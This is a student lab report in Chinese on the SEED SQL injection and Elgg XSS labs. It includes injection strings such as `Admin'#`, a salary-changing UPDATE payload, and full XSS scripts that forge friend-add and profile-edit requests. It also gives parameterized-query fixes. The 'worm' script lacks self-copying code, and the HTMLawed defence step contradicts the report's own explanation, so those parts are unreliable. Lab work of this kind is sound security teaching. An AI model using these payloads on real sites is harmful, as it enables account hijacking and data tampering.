20251904 2025-2026-2 《网络攻防实践》第十周作业
20251904 2025-2026-2 《网络攻防实践》实践十报告
1.实践内容
1.1实践内容总结
1.1.1SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
1.1.2SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
1.2知识点总结
SQL注入
攻击者通过在输入中插入引号提前闭合字符串,并用#等符号注释掉后续代码,从而破坏原始SQL逻辑。例如在登录框输入Admin'#,密码校验部分便被忽略,仅凭用户名即可越权登录。在更新语句中,利用逗号追加修改字段,可任意篡改他人工资或权限等敏感数据。注入成功的关键在于用户输入被直接拼接到SQL中,数据与指令边界模糊。
参数化查询
防御SQL注入的根本手段是使用预编译与参数绑定。代码不再拼接SQL字符串,而是先固定查询骨架(如WHERE name=? AND Password=?),再用bind_param把用户输入填入占位符。此时无论输入包含什么特殊字符,都仅被视为普通文本值,不会改变SQL语法,从根本上杜绝了注入可能。
XSS
存储型XSS将<script>等代码写入数据库,当其他用户访问相关页面时,脚本在其浏览器中运行。可能弹窗显示Cookie,也可能会用<img>或Ajax将Cookie外传给攻击者监听端,导致会话被窃取。受害者完全无感,攻击者借此可直接伪造身份登录。
XSS蠕虫
高级XSS攻击会利用JavaScript获取当前用户的Token和时间戳等防护参数,再用Ajax以受害者名义发起加好友、改资料等请求。通过在篡改的内容中嵌入相同的攻击代码,受害者主页变为新感染源,形成一传十、十传百的蠕虫传播链。
XSS防御
关闭类似HTMLawed的输入过滤插件会导致脚本直接入库;开启后,<script>等标签被转义为无害文本,无法执行。完整的防御体系还包括输出编码、设置内容安全策略(CSP)限制脚本来源、对敏感操作附加二次验证等,从多环节阻断恶意脚本注入与执行。
2.实践过程
2.0 下载SEEDUbuntu-16.04并更改主机名
这里下载安装过程与第一周时操作相同故不再赘述

键入su -
hostnamectl set-hostname 20251904sunchenxi并重新打开终端

2.1 SEED SQL注入攻击与防御实验
2.1.1熟悉SQL语句
su -后键入service apache2 status 以启动apache服务

如上图绿字显示(active(running))可以得知服务器正在运行
键入mysql -u root -pseedubuntu登录mysql

键入show databases;查看已有数据库

use Users;show tables;切换到User数据库并查看其中所有表

select * from credential;查看此表

select * from credential where Name = 'Ted'; 查询Name为Ted的相关记录。

2.1.2对SELECT语句的SQL注入攻击
输入 www.seedlabsqlinjection.com 进入Web页面

右击查看网页源码,选择view page source

可以发现表单中使用 get 方法访问 unsafe_home.php

浏览器输入/var/www/SQLInjection/unsafe_home.php查看相关文件-open with gedit
通过下图可知,不同用户(admin,普通用户)的处理方法是不同的


因此,针对程序代码,我们可以构造用户名 Admin'#,并将其赋给变量 $input_uname。在 SQL 语句中,# 是注释符,这意味着它后面的密码校验部分会被注释掉而不再执行。通过这种方式,我们无需知道真实密码,只需随意输入密码,就能以 admin 身份成功登录,如下图所示:

成功登录

2.1.3对UPDATE语句的SQL注入攻击
点击顶部导航栏的 Edit Profile 进入资料更新页面,再右键查看view page sources


可以发现表单中使用 get 方法访问 unsafe_home.php

浏览器输入 /var/www/SQLInjection/unsafe_edit_backend.php查看相关文件-open with gedit

通过上图可知,可以在UPDATE更新语句的位置,设置 $input_nickname 的值来实施SQL注入攻击。将该值设为', Salary='20251904' where name='Admin'; #,从而将 Admin 的 Salary 字段修改为 20251904。
在NickName处输入 ', Salary='20251904‘ where name='Admin'; #
打开可以发现已成功改为我的学号20251904

2.1.4 SQL对抗
可以采用将参数与具体执行动作或条件相分离的方式来修改 SQL 语句,从而有效规避 SQL 注入风险。
(1)在 SELECT 查询中,利用 bind_param 方法将参数与执行动作或条件分开进行修改:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
(2)在 UPDATE 语句中,通过 bind_param 方法把参数与执行动作或条件分开进行修改:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
2.2 SEED XSS跨站脚本攻击实验(Elgg)
2.2.1发布恶意消息,显示警报窗口
浏览器访问http://www.xsslabelgg.com

Alice,seedalice 进行登录


击Alice头像进入主页,Edit profile,在 Brief description中输入XSS攻击代码

save后发现出现xss弹窗

2.2.2弹窗显示cookie信息
打开Edit profile 在Brief description 中输入xss攻击代码

保存后可以看到cookie的信息

2.2.3窃取受害者的cookies
首先查看seed虚拟机的IP地址为192.168.85.131

根据seed的IP地址构造xss攻击代码并Edit profile 里面的 Brief description 中输入xss攻击代码保存

使用boby的账号进行登录。Boby;seedboby

nc -l 1904 -v 监听1904端口

和Alice成为好友

使用Boby的账号访问Alice,成功得到Boby的cookie
2.2.4成为受害者的朋友

打开浏览器开发者模式,进入Network页面,然后点击和Charlie成为好友,可以在network中看到网站以POST的方式向http://www.xsslabelgg.com/action/friends/add 提交了参数表单。
申请参数一共有三个,分别是:friend(id), __elgg_ts(时间戳), __elgg_token(token)

以此构造xss攻击代码,置于 Alice About me 下并选择 Edit HTML 模式
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>

使用Boby登录,把Alice删掉

下图可以看到好友界面没有Alice了

再次进入Alice界面发现自动添加Alice为好友
2.2.5修改受害者信息
将如下代码输入Alice中about me
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>I am 20251904scx, I changed this content.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

登入Boby账号,访问Alice主页,发现访问后Boby主页about me被修改信息


2.2.6编写XSS蠕虫
构造一个具有传染性的xss蠕虫
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>I am 20251904sunchenxi, I changed this content.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
将这段xss蠕虫代码放入Alice的about me并保存
登录Boby账号,访问Alice主页后。发现已经被感染

登入Samy账号,访问已被感染的Boby账号,发现Samy也被感染了

2.2.7对抗XSS攻击
Admin seedelgg登录admin账号
Account->Administration->plugins

找到插件 HTMLawed ,将其关闭,设为 Deactivate 状态

登录Boby账号,发现XSS蠕虫攻击已经失效

3.学习中遇到的问题及解决
- 问题1:show databases;后没有显示user
- 问题1解决方案:换一个seedubuntu版本
4.实践总结
这次实验难度感觉还可以,但是给我的感触很深,亲手注入Admin'#越权,用

浙公网安备 33010602011771号